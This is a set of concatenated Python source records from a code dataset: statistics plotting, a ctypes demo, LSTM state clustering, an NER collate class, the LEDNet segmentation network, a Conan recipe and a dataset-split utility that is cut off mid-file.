maxwell_hist = [maxwell.rvs(n).mean() for x in range(1000)]\r\n plt.hist(maxwell_hist, density=True, alpha=0.5, color='r', label='Sample_hist n=5')\r\n\r\n x_maxwell = np.linspace((maxwell.expect()-4*sqrt(maxwell.std())), (maxwell.expect()+4*sqrt(maxwell.std())), 1000)\r\n maxwell_norm = sts.norm(maxwell.expect(), sqrt(maxwell.var()/n))\r\n pdf_maxwell = maxwell_norm.pdf(x_maxwell)\r\n plt.plot(x_maxwell, pdf_maxwell, label='Norm', color='black')\r\n plt.ylabel('pdf')\r\n plt.xlabel('x')\r\n plt.legend()\r\n plt.show()\r\n\r\nbuild_graph(15, 15, 5);\r\nbuild_graph(15, 15, 25);\r\nbuild_graph(15, 15, 125);\r\nbuild_graph(15, 15, 625);\r\n\r\n#maxwell.expect() #ожидаемое среднее\r\n#sqrt(maxwell.std()) #сигма = корень из дисперсии\r\n","sub_path":"C1W4T1.py","file_name":"C1W4T1.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"87630428","text":"#!/usr/bin/python3\n# encoding: utf-8\n# python调用C动态库演示\n\nimport ctypes\nfrom ctypes import *\n\nclass foo_info(Structure):\n _fields_ = [\n (\"id\",c_long),\n (\"num\",c_int),\n (\"info\",c_char*100)\n ]\n\ndef struct_test():\n foo = foo_info(100, 250, b\"hello\")\n print(\"%d %d %s\" % (foo.id, foo.num, foo.info))\ndef hello():\n #so = ctypes.cdll(\"./libhello.so\")\n so = cdll.LoadLibrary(\"./libhello.so\")\n #so = cdll(\"./libhello.so\")\n ret = so.hello(b\"fuck...\"); # 字符串用b\"\"\n print(\"c return: %d\" % ret);\n#### main\nif __name__ == '__main__':\n print(\"foo test\")\n hello()\n struct_test()\n\n\n\n","sub_path":"python_c/simple_temp.py","file_name":"simple_temp.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"637216783","text":"from __future__ import print_function, division\r\nimport numpy as np\r\n# import tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nimport random\r\nimport sys\r\nfrom sklearn.utils import shuffle\r\nimport utils\r\nfrom scipy.spatial import distance\r\nfrom automata import Automata\r\nfrom scipy.special import softmax\r\nimport pandas as pd\r\nimport pickle\r\n\r\n\r\n# tf.compat.v1.disable_eager_execution()\r\n\r\ndf = pd.read_csv('long_states_df.csv',nrows=5000)\r\n\r\nstates_df = utils.process_df1(df['states'])\r\nstates_lg = utils.process_df1(df['logit_seq'])\r\ndigit_seq = df['words'].values\r\nind_seq = df['ind_seq'].values\r\nreset_seq = df['reset_bool'].values\r\n\r\nprint(\"states_df = \",states_df.shape)\r\n\r\nnp.set_printoptions(precision=4)\r\nstate_list_sm = softmax(states_lg, axis=1)\r\nprint('state_list_sm = ',np.array(state_list_sm))\r\n# print('df = ',df)\r\n\r\nprint('-----generate dictionaries----')\r\nid_to_p = {}\r\np_to_id = {}\r\nfor i,state in enumerate(states_df):\r\n\tid_to_p[i] = (tuple(state),state_list_sm[i],reset_seq[i],ind_seq[i])\r\n\tp_to_id[tuple(state)] = i\r\n\r\nstate_points = {}\r\n\r\nprint(id_to_p)\r\nprint(p_to_id)\r\n\r\nprint('----get the clustering dict----')\r\n\r\nwith open ('./y_kmeans', 'rb') as fp:\r\n\ty_means = pickle.load(fp)\r\n\r\ncluster_dicts = {}\r\nprint('y means = ',y_means)\r\nfor i,m in enumerate(y_means):\r\n\tif m not in cluster_dicts:\r\n\t\tcluster_dicts[m] = [i]\r\n\telse:\r\n\t\tcluster_dicts[m].append(i)\r\n\r\nprint('cluster_dicts = ',cluster_dicts)\r\n\r\nprint('----generate series----')\r\n\r\nseries_dict = {}\r\n\r\ndef gen_series(pid,y_means,vis=False):\r\n\t# if id_to_p[pid][3] == 1:\r\n\tif state_list_sm[pid][0] > 0.9:\r\n\t\tf_cluster = \"P.\"\r\n\t\treturn [f_cluster, f_cluster]\r\n\tif id_to_p[pid][3] == 1:\r\n\t\tf_cluster = \"N.\"\r\n\t\treturn [f_cluster, f_cluster]\r\n\tif id_to_p[pid][2] == 1:\r\n\t\tf_cluster = \"S.\"\r\n\t\treturn [f_cluster, f_cluster]\r\n\r\n\t# return [f_cluster, f_cluster]\r\n\tmax_id = pid\r\n\tpoints = []\r\n\tdigits = []\r\n\tres = \"\"\r\n\tresX = \"\"\r\n\tf_cluster = \"\"\r\n\twhile pid + 1 in id_to_p:\r\n\t\tmax_id+=1\r\n\t\tif max_id not in id_to_p:\r\n\t\t\tbreak\r\n\t\tp_next= max_id\r\n\t\tpoints.append(p_next)\r\n\t\tdigits.append(digit_seq[max_id])\r\n\r\n\t\t# if id_to_p[max_id][3] == 1:\r\n\t\tif state_list_sm[max_id][0] > 0.9:\r\n\t\t\tf_cluster = \"P\"\r\n\t\t# if state_list_sm[max_id][0] < 0.1:\r\n\t\t# \tf_cluster = \"N\"\r\n\r\n\t\t\tbreak\r\n\t\tif id_to_p[max_id][3] == 1:\r\n\t\t\tf_cluster = \"N\"\r\n\t\t\tbreak\r\n\tfor i,c in enumerate(points):\r\n\t\tres += str(digits[i]) + \"-\" + str(y_means[c]) + \".\"\r\n\t\tresX += \"X-\" + str(c) + \".\"\r\n\tres = res[:-2] + f_cluster + \".\"\r\n\tresX = resX[:-2] + f_cluster + \".\"\r\n\t# print('res = ',res)\r\n\t# print('resX = ',resX)\r\n\tif vis:\r\n\t\tpass\r\n\treturn [res, resX]\r\n\r\npid = 37\r\nprint('[db] res for pid = ',gen_series(pid,y_means,vis=False))\r\n\r\nseq_list = []\r\n# for i in range(len(states_df)):\r\nseq_dict = {i:gen_series(i,y_means,vis=False)[0] for i in range(len(states_df) - 2)}\r\nseq_dictX = {i:gen_series(i,y_means,vis=False)[1] for i in range(len(states_df) - 2)}\r\n\r\nimport operator\r\nsorted_seq = sorted(seq_dict.items(), key=operator.itemgetter(1))\r\nsorted_seqX = sorted(seq_dictX.items(), key=operator.itemgetter(1))\r\nprint('----ppp----')\r\nfor s in sorted_seq:\r\n\t# print(s[0])\r\n\tif 'P' in s[1]:\r\n\t\tprint(id_to_p[s[0]][0],s)\r\n\r\nprint('Done')\r\n\r\nprint('---visualizing P points----')\r\n\r\nP_vis_points = []\r\nN_vis_points = []\r\nS_vis_points = []\r\nfor k,v in seq_dict.items():\r\n\tif v == 'P.':\r\n\t\tP_vis_points.append(id_to_p[k][0])\r\n\tif v == 'N.':\r\n\t\tN_vis_points.append(id_to_p[k][0])\r\n\tzero_p = np.array([0, 0])\r\n\teps = 0.01\r\n\tif id_to_p[k][2] == 1:\r\n\t\tS_vis_points.append(id_to_p[k][0])\r\n\r\n\r\n\r\nP_vis_points = np.array(list(set(P_vis_points)))\r\nN_vis_points = np.array(list(set(N_vis_points)))\r\nS_vis_points = np.array(list(set(S_vis_points)))\r\n\r\nfig, ax = plt.subplots()\r\nax.scatter(states_df[:, 0], states_df[:, 1], c=state_list_sm[:, 1], s=10)\r\n# ax.scatter(P_vis_points[:, 0], P_vis_points[:, 1], c='blue', s=10, cmap='viridis')\r\n# ax.scatter(N_vis_points[:, 0], N_vis_points[:, 1], c='red', s=10, cmap='viridis')\r\nplt.show()\r\nprint('P_vis_points ',P_vis_points)\r\nprint('---state points----')\r\n\r\nlbl_to_p_dict = {}\r\nfor k,v in seq_dict.items():\r\n\tif v not in lbl_to_p_dict:\r\n\t\tlbl_to_p_dict[v] = [k]\r\n\telse:\r\n\t\tlbl_to_p_dict[v].append(k)\r\nprint('lbl_to_p_dict = ',lbl_to_p_dict)\r\n\r\nfor k,v in lbl_to_p_dict.items():\r\n\tprint('k,v = ',k,v)\r\n\r\nprint('----implementing----')\r\n\r\nprint('sorted_seq = ',sorted_seq)\r\nprint('seq_dict = ',seq_dict)\r\n\r\ndef vis_cluster(c):\r\n\tfig, ax = plt.subplots()\r\n\tpoints = np.array([np.array(id_to_p[id][0]) for id in cluster_dicts[c]])\r\n\tif len(points) < 1:\r\n\t\treturn\r\n\tax.scatter(points[:, 0], points[:, 1], c='green', s=10)\r\n\tax.scatter(P_vis_points[:, 0], P_vis_points[:, 1], c='blue', s=10, cmap='viridis')\r\n\tax.scatter(N_vis_points[:, 0], N_vis_points[:, 1], c='red', s=10, cmap='viridis')\r\n\tplt.show()\r\n\r\ndef get_prev_states(state):\r\n\tres = set()\r\n\tfor k,v in lbl_to_p_dict.items():\r\n\t\tif k.endswith(state):\r\n\t\t\t# print('k = ',k)\r\n\t\t\ttmp = k.split(state)[0]\r\n\t\t\t# print('tmp1 = ', tmp)\r\n\t\t\tif len(tmp) < 1:\r\n\t\t\t\tcontinue\r\n\t\t\ttmp = tmp.split(\".\")\r\n\t\t\t# print('tmp2 = ',tmp)\r\n\t\t\tif len(tmp) < 2:\r\n\t\t\t\tcontinue\r\n\t\t\tprev_state = tmp[-2].split(\"-\")[-1]\r\n\t\t\t# print('prev_state = ', prev_state)\r\n\t\t\tres.add(prev_state)\r\n\treturn list(res)\r\n#\r\n# for k,v in seq_dict.items():\r\n# \tif v == 'P.':\r\n# \t\tP_vis_points.append(id_to_p[k][0])\r\n\r\nP_points = [k for k,v in seq_dict.items() if v == \"P.\"]\r\nN_points = [k for k,v in seq_dict.items() if v == \"N.\"]\r\nS_points = [k for k,v in seq_dict.items() if v == \"S.\"]\r\n\r\n\r\nprint('----fixing cluster dicts---')\r\nfor k,v in cluster_dicts.items():\r\n\tfor pid in P_points + N_points + S_points:\r\n\t\tif pid in cluster_dicts[k]:\r\n\t\t\tcluster_dicts[k].remove(pid)\r\n\r\nfor k in list(cluster_dicts):\r\n\tif len(cluster_dicts[k]) < 1:\r\n\t\tdel cluster_dicts[k]\r\n\r\ny_kmeans1 = list(y_means)\r\nfor i,k in enumerate(y_means):\r\n\tif state_list_sm[i][0] > 0.9:\r\n\t\ty_kmeans1[i] = 'P'\r\n\tif id_to_p[i][3] == 1:\r\n\t\ty_kmeans1[i] = 'N'\r\n\tif id_to_p[i][2] == 1:\r\n\t\ty_kmeans1[i] = 'S'\r\n\r\nprint('y_kmeans1 = ',y_kmeans1)\r\ncluster_dicts['P'] = P_points\r\ncluster_dicts['N'] = N_points\r\ncluster_dicts['S'] = S_points\r\n\r\nstate_dicts = cluster_dicts.copy()\r\n\r\nprint('P_points = ',P_points)\r\nprint('N_points = ',N_points)\r\n\r\n# for c in state_dicts:\r\n# \tprint('cluster_dicts',c,cluster_dicts[c])\r\n# \tvis_cluster(c)\r\n\r\n#ewp[pwep[]\\\r\ndigit_lists = ['0','1']\r\n\r\ndef prev_points(point_ids):\r\n\td = {str(y_kmeans1[pid - 1]) + \".\" + str(digit_seq[pid]):[]\r\n\t\t for pid in point_ids if pid - 1 not in P_points}\r\n\tfor pid in point_ids:\r\n\t\tif pid - 1 in P_points:\r\n\t\t\tcontinue\r\n\t\td[str(y_kmeans1[pid - 1]) + \".\" + str(digit_seq[pid])].append(pid - 1)\r\n\r\n\treturn d\r\n\r\n\r\nautomat_path = []\r\ndef process(path,lbl,point_set):\r\n\tif 'S' in lbl:\r\n\t\ts_name = 'O.' + str(digit_seq[point_set[0]])\r\n\t\tprint('path = ',s_name + \"-\" + path)\r\n\t\tautomat_path.append(s_name + \"-\" + path)\r\n\t\treturn\r\n\t\t# return path\r\n\td = prev_points(point_set)\r\n\r\n\tres = []\r\n\tfor k in d:\r\n\t\tres.append(len(d[k]))\r\n\tif len(res) < 1:\r\n\t\ts_name = str(digit_seq[point_set[0]])\r\n\t\tprint('path = ', s_name + \".\" + path)\r\n\t\tautomat_path.append(s_name + \"-\" + path)\r\n\t\treturn\r\n\tres = sorted(res,reverse=True)\r\n\tfor state in d:\r\n\t\tif len(d[state]) not in res[:3]:\r\n\t\t\tcontinue\r\n\t\tprocess(state + \"-\" + path, state, d[state])\r\n\r\ndef process1(path,lbl,point_set,opf_name):\r\n\r\n\tif 'S' in lbl:\r\n\t\ts_name = 'O.' + str(digit_seq[point_set[0]])\r\n\t\tprint('path = ',s_name + \"-\" + path)\r\n\t\topf = open(opf_name, 'a')\r\n\t\topf.write(s_name + \".\" + path + '\\n')\r\n\t\tautomat_path.append(s_name + \"-\" + path)\r\n\t\treturn\r\n\t\t# return path\r\n\td = prev_points(point_set)\r\n\r\n\tres = []\r\n\r\n\tfor k in d:\r\n\t\tres.append(len(d[k]))\r\n\tif len(res) < 1:\r\n\t\ts_name = str(digit_seq[point_set[0]])\r\n\t\tprint('path = ', s_name + \".\" + path)\r\n\t\topf = open(opf_name, 'a')\r\n\t\topf.write(s_name + \".\" + path + '\\n')\r\n\t\tautomat_path.append(s_name + \"-\" + path)\r\n\t\treturn\r\n\tres = sorted(res,reverse=True)\r\n\tfor state in d:\r\n\t\tif len(d[state]) not in res[:3]:\r\n\t\t\tcontinue\r\n\t\tprocess1(state.split(\".\")[1] + \"-\" + path, state, d[state],opf_name)\r\n\r\nprocess('P.','P',P_points)\r\nopf_name = 'path_file.txt'\r\nopf = open(opf_name, 'w')\r\nprocess1('P.','P',P_points,opf_name)\r\nopf.close()\r\n# print('automat_path = ',automat_path)\r\n\r\nres = get_prev_states('P.')\r\n# print('res = ',res)\r\nvis_cluster('P')\r\n\r\n#---generate automat----\r\n# from automata import Automata\r\n# automat = Automata('O','P')\r\n# pre_dict = {}\r\n# suf_dict = {}\r\n# for path in automat_path:\r\n# \tfor i in range(len(path[:-2]),0,-1):\r\n# \t\t# print('i = ',i)\r\n# \t\tif path[i] == \"-\":\r\n# \t\t\tpre, suf = path[:i], path[i+1:]\r\n# \t\t\tpre_dict[pre] = suf\r\n# \t\t\tsuf_dict[suf] = pre\r\n# \t\t\tdigit = suf.split(\"-\")[0].split(\".\")[1]\r\n# \t\t\t# print('pre, suf, digit = ', pre, ' ', suf, ' ', digit)\r\n# \t\t\tnext_state = \"\"\r\n# \t\t\tif \"-\" in suf:\r\n# \t\t\t\tnext_state = suf.split(\"-\")[1]\r\n# \t\t\t# print('next_state = ',next_state)\r\n# \t\t\tautomat.add_transition(suf,digit,next_state)\r\n\r\nprint('Done')\r\n","sub_path":"lstm_exp5/vis_states_clusters4.py","file_name":"vis_states_clusters4.py","file_ext":"py","file_size_in_byte":8873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"147205143","text":"#!/usr/bin/env python 3\n# -*- coding: utf-8 -*-\n\n#\n# Copyright (c) 2020 PanXu, Inc. All Rights Reserved\n#\n\"\"\"\n模型输入的 collate\n\nAuthors: PanXu\nDate: 2020/06/27 00:24:00\n\"\"\"\nfrom typing import Iterable, Union\n\nimport torch\n\nfrom easytext.data import ModelInputs, Instance\nfrom easytext.data import ModelCollate\nfrom easytext.data import Vocabulary, LabelVocabulary, PretrainedVocabulary\n\n\nclass NerModelCollate(ModelCollate):\n \"\"\"\n ner 的 model collate\n \"\"\"\n\n def __init__(self,\n token_vocab: Union[Vocabulary, PretrainedVocabulary],\n sequence_label_vocab: LabelVocabulary,\n sequence_max_len: int = 512):\n self._token_vocab = token_vocab\n self._sequence_label_vocab = sequence_label_vocab\n self._max_len = sequence_max_len\n\n def __call__(self, instances: Iterable[Instance]) -> ModelInputs:\n\n batch_token_indices = list()\n batch_sequence_label_indices = list()\n batch_metadatas = list()\n\n batch_max_len = 0\n batch_size = 0\n\n for instance in iter(instances):\n tokens = instance[\"tokens\"]\n\n if len(tokens) > batch_max_len:\n batch_max_len = len(tokens)\n\n batch_max_len = batch_max_len if batch_max_len < self._max_len else self._max_len\n\n for instance in iter(instances):\n batch_size += 1\n token_indices = [self._token_vocab.padding_index] * batch_max_len\n\n for i, token in enumerate(instance[\"tokens\"][0: batch_max_len]):\n token_indices[i] = self._token_vocab.index(token.text)\n\n batch_token_indices.append(token_indices)\n\n sequence_label_indices = [self._sequence_label_vocab.padding_index] * batch_max_len\n\n for i, sl in enumerate(instance[\"sequence_label\"][0: batch_max_len]):\n sequence_label_indices[i] = self._sequence_label_vocab.index(sl)\n\n batch_sequence_label_indices.append(sequence_label_indices)\n\n batch_metadatas.append(instance[\"metadata\"])\n\n batch_token_indices = torch.tensor(batch_token_indices, dtype=torch.long)\n batch_sequence_label_indices = torch.tensor(batch_sequence_label_indices, dtype=torch.long)\n\n model_inputs = ModelInputs(batch_size=batch_size,\n model_inputs={\n \"tokens\": batch_token_indices,\n \"metadata\": batch_metadatas\n },\n labels=batch_sequence_label_indices)\n return model_inputs\n\n\n\n\n\n","sub_path":"ner/data/ner_model_collate.py","file_name":"ner_model_collate.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"523356683","text":"\"\"\"\nsource: https://github.com/xiaoyufenfei/LEDNet\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\nfrom torch.nn.functional import interpolate as interpolate\n\n\ndef split(x):\n c = int(x.size()[1])\n c1 = round(c * 0.5)\n x1 = x[:, :c1, :, :].contiguous()\n x2 = x[:, c1:, :, :].contiguous()\n\n return x1, x2\n\n\ndef channel_shuffle(x, groups):\n batchsize, num_channels, height, width = x.data.size()\n\n channels_per_group = num_channels // groups\n\n # reshape\n x = x.view(batchsize, groups, channels_per_group, height, width)\n\n x = torch.transpose(x, 1, 2).contiguous()\n\n # flatten\n x = x.view(batchsize, -1, height, width)\n\n return x\n\n\nclass Conv2dBnRelu(nn.Module):\n def __init__(\n self, in_ch, out_ch, kernel_size=3, stride=1, padding=0, dilation=1, bias=True\n ):\n super(Conv2dBnRelu, self).__init__()\n\n self.conv = nn.Sequential(\n nn.Conv2d(\n in_ch,\n out_ch,\n kernel_size,\n stride,\n padding,\n dilation=dilation,\n bias=bias,\n ),\n nn.BatchNorm2d(out_ch, eps=1e-3),\n nn.ReLU(inplace=True),\n )\n\n def forward(self, x):\n return self.conv(x)\n\n\n# after Concat -> BN, you also can use Dropout like SS_nbt_module may be make a good result!\nclass DownsamplerBlock(nn.Module):\n def __init__(self, in_channel, out_channel):\n super().__init__()\n\n self.conv = nn.Conv2d(\n in_channel, out_channel - in_channel, (3, 3), stride=2, padding=1, bias=True\n )\n self.pool = nn.MaxPool2d(2, stride=2)\n self.bn = nn.BatchNorm2d(out_channel, eps=1e-3)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, input):\n output = torch.cat([self.conv(input), self.pool(input)], 1)\n output = self.bn(output)\n output = self.relu(output)\n return output\n\n\nclass SS_nbt_module(nn.Module):\n def __init__(self, chann, dropprob, dilated):\n super().__init__()\n\n oup_inc = chann // 2\n\n # dw\n self.conv3x1_1_l = nn.Conv2d(\n oup_inc, oup_inc, (3, 1), stride=1, padding=(1, 0), bias=True\n )\n\n self.conv1x3_1_l = nn.Conv2d(\n oup_inc, oup_inc, (1, 3), stride=1, padding=(0, 1), bias=True\n )\n\n self.bn1_l = nn.BatchNorm2d(oup_inc, eps=1e-03)\n\n self.conv3x1_2_l = nn.Conv2d(\n oup_inc,\n oup_inc,\n (3, 1),\n stride=1,\n padding=(1 * dilated, 0),\n bias=True,\n dilation=(dilated, 1),\n )\n\n self.conv1x3_2_l = nn.Conv2d(\n oup_inc,\n oup_inc,\n (1, 3),\n stride=1,\n padding=(0, 1 * dilated),\n bias=True,\n dilation=(1, dilated),\n )\n\n self.bn2_l = nn.BatchNorm2d(oup_inc, eps=1e-03)\n\n # dw\n self.conv3x1_1_r = nn.Conv2d(\n oup_inc, oup_inc, (3, 1), stride=1, padding=(1, 0), bias=True\n )\n\n self.conv1x3_1_r = nn.Conv2d(\n oup_inc, oup_inc, (1, 3), stride=1, padding=(0, 1), bias=True\n )\n\n self.bn1_r = nn.BatchNorm2d(oup_inc, eps=1e-03)\n\n self.conv3x1_2_r = nn.Conv2d(\n oup_inc,\n oup_inc,\n (3, 1),\n stride=1,\n padding=(1 * dilated, 0),\n bias=True,\n dilation=(dilated, 1),\n )\n\n self.conv1x3_2_r = nn.Conv2d(\n oup_inc,\n oup_inc,\n (1, 3),\n stride=1,\n padding=(0, 1 * dilated),\n bias=True,\n dilation=(1, dilated),\n )\n\n self.bn2_r = nn.BatchNorm2d(oup_inc, eps=1e-03)\n\n self.relu = nn.ReLU(inplace=True)\n self.dropout = nn.Dropout2d(dropprob)\n\n @staticmethod\n def _concat(x, out):\n return torch.cat((x, out), 1)\n\n def forward(self, input):\n\n # x1 = input[:,:(input.shape[1]//2),:,:]\n # x2 = input[:,(input.shape[1]//2):,:,:]\n residual = input\n x1, x2 = split(input)\n\n output1 = self.conv3x1_1_l(x1)\n output1 = self.relu(output1)\n output1 = self.conv1x3_1_l(output1)\n output1 = self.bn1_l(output1)\n output1 = self.relu(output1)\n\n output1 = self.conv3x1_2_l(output1)\n output1 = self.relu(output1)\n output1 = self.conv1x3_2_l(output1)\n output1 = self.bn2_l(output1)\n\n output2 = self.conv1x3_1_r(x2)\n output2 = self.relu(output2)\n output2 = self.conv3x1_1_r(output2)\n output2 = self.bn1_r(output2)\n output2 = self.relu(output2)\n\n output2 = self.conv1x3_2_r(output2)\n output2 = self.relu(output2)\n output2 = self.conv3x1_2_r(output2)\n output2 = self.bn2_r(output2)\n\n if self.dropout.p != 0:\n output1 = self.dropout(output1)\n output2 = self.dropout(output2)\n\n out = self._concat(output1, output2)\n out = F.relu(residual + out, inplace=True)\n return channel_shuffle(out, 2)\n\n\nclass Encoder(nn.Module):\n def __init__(self, in_channels, num_classes):\n super().__init__()\n\n self.initial_block = DownsamplerBlock(in_channels, 32)\n\n self.layers = nn.ModuleList()\n\n for x in range(0, 3):\n self.layers.append(SS_nbt_module(32, 0.03, 1))\n\n self.layers.append(DownsamplerBlock(32, 64))\n\n for x in range(0, 2):\n self.layers.append(SS_nbt_module(64, 0.03, 1))\n\n self.layers.append(DownsamplerBlock(64, 128))\n\n for x in range(0, 1):\n self.layers.append(SS_nbt_module(128, 0.3, 1))\n self.layers.append(SS_nbt_module(128, 0.3, 2))\n self.layers.append(SS_nbt_module(128, 0.3, 5))\n self.layers.append(SS_nbt_module(128, 0.3, 9))\n\n for x in range(0, 1):\n self.layers.append(SS_nbt_module(128, 0.3, 2))\n self.layers.append(SS_nbt_module(128, 0.3, 5))\n self.layers.append(SS_nbt_module(128, 0.3, 9))\n self.layers.append(SS_nbt_module(128, 0.3, 17))\n\n # Only in encoder mode:\n self.output_conv = nn.Conv2d(\n 128, num_classes, 1, stride=1, padding=0, bias=True\n )\n\n def forward(self, input, predict=False):\n\n output = self.initial_block(input)\n\n for layer in self.layers:\n output = layer(output)\n\n if predict:\n output = self.output_conv(output)\n\n return output\n\n\nclass Interpolate(nn.Module):\n def __init__(self, size, mode):\n super(Interpolate, self).__init__()\n\n self.interp = nn.functional.interpolate\n self.size = size\n self.mode = mode\n\n def forward(self, x):\n x = self.interp(x, size=self.size, mode=self.mode, align_corners=True)\n return x\n\n\nclass APN_Module(nn.Module):\n def __init__(self, in_ch, out_ch):\n super(APN_Module, self).__init__()\n # global pooling branch\n self.branch1 = nn.Sequential(\n nn.AdaptiveAvgPool2d(1),\n Conv2dBnRelu(in_ch, out_ch, kernel_size=1, stride=1, padding=0),\n )\n # midddle branch\n self.mid = nn.Sequential(\n Conv2dBnRelu(in_ch, out_ch, kernel_size=1, stride=1, padding=0)\n )\n self.down1 = Conv2dBnRelu(in_ch, 1, kernel_size=7, stride=2, padding=3)\n\n self.down2 = Conv2dBnRelu(1, 1, kernel_size=5, stride=2, padding=2)\n\n self.down3 = nn.Sequential(\n Conv2dBnRelu(1, 1, kernel_size=3, stride=2, padding=1),\n Conv2dBnRelu(1, 1, kernel_size=3, stride=1, padding=1),\n )\n\n self.conv2 = Conv2dBnRelu(1, 1, kernel_size=5, stride=1, padding=2)\n self.conv1 = Conv2dBnRelu(1, 1, kernel_size=7, stride=1, padding=3)\n\n def forward(self, x):\n\n h = x.size()[2]\n w = x.size()[3]\n\n b1 = self.branch1(x)\n # b1 = Interpolate(size=(h, w), mode=\"bilinear\")(b1)\n b1 = interpolate(b1, size=(h, w), mode=\"bilinear\", align_corners=True)\n\n mid = self.mid(x)\n\n x1 = self.down1(x)\n x2 = self.down2(x1)\n x3 = self.down3(x2)\n # x3 = Interpolate(size=(h // 4, w // 4), mode=\"bilinear\")(x3)\n x3 = interpolate(x3, size=(h // 4, w // 4), mode=\"bilinear\", align_corners=True)\n x2 = self.conv2(x2)\n x = x2 + x3\n # x = Interpolate(size=(h // 2, w // 2), mode=\"bilinear\")(x)\n x = interpolate(x, size=(h // 2, w // 2), mode=\"bilinear\", align_corners=True)\n\n x1 = self.conv1(x1)\n x = x + x1\n # x = Interpolate(size=(h, w), mode=\"bilinear\")(x)\n x = interpolate(x, size=(h, w), mode=\"bilinear\", align_corners=True)\n\n x = torch.mul(x, mid)\n\n x = x + b1\n\n return x\n\n\nclass Decoder(nn.Module):\n def __init__(self, num_classes):\n super().__init__()\n\n self.apn = APN_Module(in_ch=128, out_ch=num_classes)\n # self.upsample = Interpolate(size=(512, 1024), mode=\"bilinear\")\n # self.output_conv = nn.ConvTranspose2d(16, num_classes, kernel_size=4, stride=2, padding=1, output_padding=0, bias=True)\n # self.output_conv = nn.ConvTranspose2d(16, num_classes, kernel_size=3, stride=2, padding=1, output_padding=1, bias=True)\n # self.output_conv = nn.ConvTranspose2d(16, num_classes, kernel_size=2, stride=2, padding=0, output_padding=0, bias=True)\n\n def forward(self, input, initial_shape):\n\n output = self.apn(input)\n out = interpolate(\n output, size=initial_shape, mode=\"bilinear\", align_corners=True\n )\n # out = self.upsample(output)\n return out\n\n\n# LEDNet\nclass LEDNet(nn.Module):\n def __init__(self, in_channels, n_classes):\n super().__init__()\n in_channels += n_classes\n self.encoder = Encoder(in_channels, n_classes)\n self.decoder = Decoder(n_classes)\n\n def forward(self, input, only_encode=False):\n shp = input.shape[-2:]\n if only_encode:\n return self.encoder.forward(input, predict=True)\n else:\n output = self.encoder(input)\n return self.decoder.forward(output, shp)\n","sub_path":"train/semantic_segmentation/models/lednet.py","file_name":"lednet.py","file_ext":"py","file_size_in_byte":10183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"603785770","text":"from conans import ConanFile, CMake, tools\nfrom conans.errors import ConanInvalidConfiguration\nfrom conans.tools import Version\nimport os\n\nrequired_conan_version = \">=1.33.0\"\n\nclass HsmConan(ConanFile):\n name = \"erikzenker-hsm\"\n license = \"MIT\"\n homepage = \"https://github.com/erikzenker/hsm.git\"\n url = \"https://github.com/conan-io/conan-center-index\"\n description = \"The hana state machine (hsm) is a finite state machine library based on the boost hana meta programming library. It follows the principles of the boost msm and boost sml libraries, but tries to reduce own complex meta programming code to a minimum.\"\n topics = (\"state-machine\", \"template-meta-programming\")\n requires = \"boost/1.77.0\"\n no_copy_source = True\n generators = \"cmake\"\n settings = \"os\", \"arch\", \"build_type\", \"compiler\"\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n def validate(self):\n # https://github.com/erikzenker/hsm#dependencies\n if self.settings.compiler == \"clang\" and Version(self.settings.compiler.version) < 8:\n raise ConanInvalidConfiguration(\"clang 8+ is required\")\n if self.settings.compiler == \"gcc\" and Version(self.settings.compiler.version) < 8:\n raise ConanInvalidConfiguration(\"GCC 8+ is required\")\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version], destination=self._source_subfolder, strip_root=True)\n\n def build(self):\n cmake = CMake(self)\n cmake.configure(source_folder=self._source_subfolder)\n\n def package(self):\n cmake = CMake(self) \n cmake.install()\n tools.rmdir(os.path.join(self.package_folder, \"lib\", \"cmake\"))\n self.copy(\"LICENSE\", src=self._source_subfolder, dst=\"licenses\")\n\n def package_id(self):\n self.info.header_only()\n\n def package_info(self):\n self.cpp_info.names[\"cmake_find_package\"] = \"hsm\"\n self.cpp_info.names[\"cmake_find_package_multi\"] = \"hsm\"\n","sub_path":"recipes/erikzenker-hsm/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"445394152","text":"\"\"\" Split dataset into train, tune, and test sets \"\"\"\nfrom os.path import join, isfile, isdir, basename\nimport os\nfrom collections.abc import Iterable\nimport hashlib\nimport logging\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\nimport utils\n\n\nlogger = logging.getLogger(\"nn4dms.\" + __name__)\nlogger.setLevel(logging.DEBUG)\n\n\ndef supertest(ds, size=.1, rseed=8, out_dir=None, overwrite=False):\n \"\"\" create a supertest split... meant to be completely held out data until final evaluation \"\"\"\n np.random.seed(rseed)\n idxs = np.arange(0, ds.shape[0])\n idxs, super_test_idxs = train_test_split(idxs, test_size=size)\n save_fn = None\n if out_dir is not None:\n utils.mkdir(out_dir)\n out_fn = \"supertest_w{}_s{}_r{}.txt\".format(hash_withhold(super_test_idxs), size, rseed)\n save_fn = join(out_dir, out_fn)\n if isfile(save_fn) and not overwrite:\n raise FileExistsError(\"supertest split already exists: {}\".format(join(out_dir, out_fn)))\n else:\n logger.info(\"saving supertest split to file {}\".format(save_fn))\n utils.save_lines(save_fn, super_test_idxs)\n return np.array(super_test_idxs, dtype=int), save_fn\n\n\ndef load_withhold(withhold):\n \"\"\" load indices to withhold from split (for supertest set, for example) \"\"\"\n if isinstance(withhold, str):\n if not isfile(withhold):\n raise FileNotFoundError(\"couldn't find file w/ indices to withhold: {}\".format(withhold))\n else:\n withhold = np.loadtxt(withhold, delimiter=\"\\n\", dtype=int)\n elif not isinstance(withhold, Iterable):\n raise ValueError(\"withhold must be a string specifying a filename containing indices to withhold 